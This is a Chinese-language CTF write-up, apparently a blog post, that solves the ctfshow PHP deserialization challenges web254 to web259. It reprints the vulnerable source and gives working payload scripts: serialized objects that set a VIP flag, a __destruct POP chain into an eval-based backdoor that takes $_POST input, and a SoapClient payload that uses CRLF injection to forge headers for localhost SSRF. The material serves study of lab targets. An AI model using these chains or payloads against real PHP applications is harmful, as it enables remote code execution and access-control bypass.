ctfshow-反序列化

web254

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

GET方式传参两个参数username和password;然后判断创建一个对象赋值给user,调用ctfshowuser中的login方法,如果GET方式传递的参数值与xxxxxx相等,便会将isvip置为true;之后便是调用checkvip来检查是否是vip,如果是,便会调用getflag函数获取flag;

因此直接传参为username=xxxxxx&password=xxxxxx

web255

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

与第一关的题目不同的是,增加了反序列化操作,并且在login函数中,没有对vip的值进行操作,而是我们需要在类中直接赋值;通过cookie传参user的值,是经过序列化的结果,之后再通过GET传参两个参数username和password。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>

web256

相比上一关而言,代码不同的地方如下:

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
} 

发现在最终的GETflag方法中有一个if条件,来判断username和password是否相等,如果不相等,才会将flag输出;序列化中直接修改变量的值即可,使得两个变量的值不一样就行;GET方式传参的时候,username=xxxxxx&password=xxx

<?php
class ctfShowUser{
     public $username='xxxxxx';
     public $password='xxx';
     public $isVip=true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

web257

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
?>

这一关的题目我们会发现,变量的类型变成了私有类型,但是在PHP版本7.1+,对变量的类型不敏感;此题目的环境为php7.3.11

发现在backdoor类中存在着eval函数,因此我们下一步就是找到调用这里的地方,在ctfShowuser类中存在两个魔术方法,分别是construct函数和destruct函数,分别对应创建对象和销毁对象的时候会调用对应的函数;

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
     public $code = 'eval($_POST[x]);';

    public function getInfo()
    {
        eval($this->code);
    }
}

    $a = new ctfShowUser();
    echo urlencode(serialize($a));
?>

web258

web259

考察php原生类:

什么是原生类?就是php内置类,不用定义,php自带的类,即不需要再当前脚本写出,但也可以实例化的类。

本题目考察的是SoapClient这个原生类,(没有接触过原生类,笔记如有错误,欢迎大家指点);

SoapClient内置类:是一个专门用来访问web服务的类,可以提供一个基于SOAP协议来访问Web服务的PHP客户端;(个人理解相当于python中的requests库,可以与浏览器进行交互,并发送相关报文)

函数形式:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明wsdl模式的,为null则表明非wsdl模式;

第二个参数array:在wsdl模式下可选,在非wsdl模式下,需要设置ilocation和uri,location就是发送SOAP服务器的URL,uri是服务的命名空间

现在拿着题目一点点来测试:

在题目的hint中存在着flag.php的源码:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//通过“,”获取xff头信息
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){    //ip必须为127.0.0.1
	die('error');
}else{
	$token = $_POST['token'];    //还要通过POST方式传递参数token,并且token的值为ctfshow
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);    //最终会将flag的值,写入到flag.txt文件中
	}
}
<?php
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:9999/flag.php','uri'=>'http://127.0.0.1:9999/'));
$a->getFlag();

nc来监听9999端口:

尝试修改http数据包头,我们可以控制ua,因此通过修改UA的值达到修改下面的若干选项:

<?php
$UA = "ctfshow\r\nContent-Type:application/x-www-urlencoded";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:9999/flag.php','uri'=>'http://127.0.0.1:9999/','user_agent'=>$UA));
$a->getFlag();

之后便是修改xff头部,以及content-length等信息:

产生上述的结果,会发现token=ctfshow之后还是存在着Content-type等信息,这里服务器会直接丢弃的,因为在上面的Content-length=13,后面的token=ctfshow刚好就是13,所以后面的信息便丢弃了; 

最终的代码如下:

<?php
$UA = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','uri'=>'http://127.0.0.1/','user_agent'=>$UA));

//$a->getFlag();
echo urlencode(serialize($a));

相关推荐

  1. ctfshow web入门 php序列 web254--web259

    2023-12-21 01:06:02       31 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-21 01:06:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-21 01:06:02       100 阅读
  3. 在Django里面运行非项目文件

    2023-12-21 01:06:02       82 阅读
  4. Python语言-面向对象

    2023-12-21 01:06:02       91 阅读

热门阅读

  1. 用Python制作二维码

    2023-12-21 01:06:02       57 阅读
  2. VGG卷积神经网络:深度学习中的强大工具

    2023-12-21 01:06:02       62 阅读
  3. Golang 内存分配机制详解

    2023-12-21 01:06:02       59 阅读
  4. goland的debug模式修复

    2023-12-21 01:06:02       74 阅读
  5. CUDA编程示例:CPU预处理->GPU处理->CPU后处理

    2023-12-21 01:06:02       51 阅读
  6. centos 7.x 安装docker最新版

    2023-12-21 01:06:02       72 阅读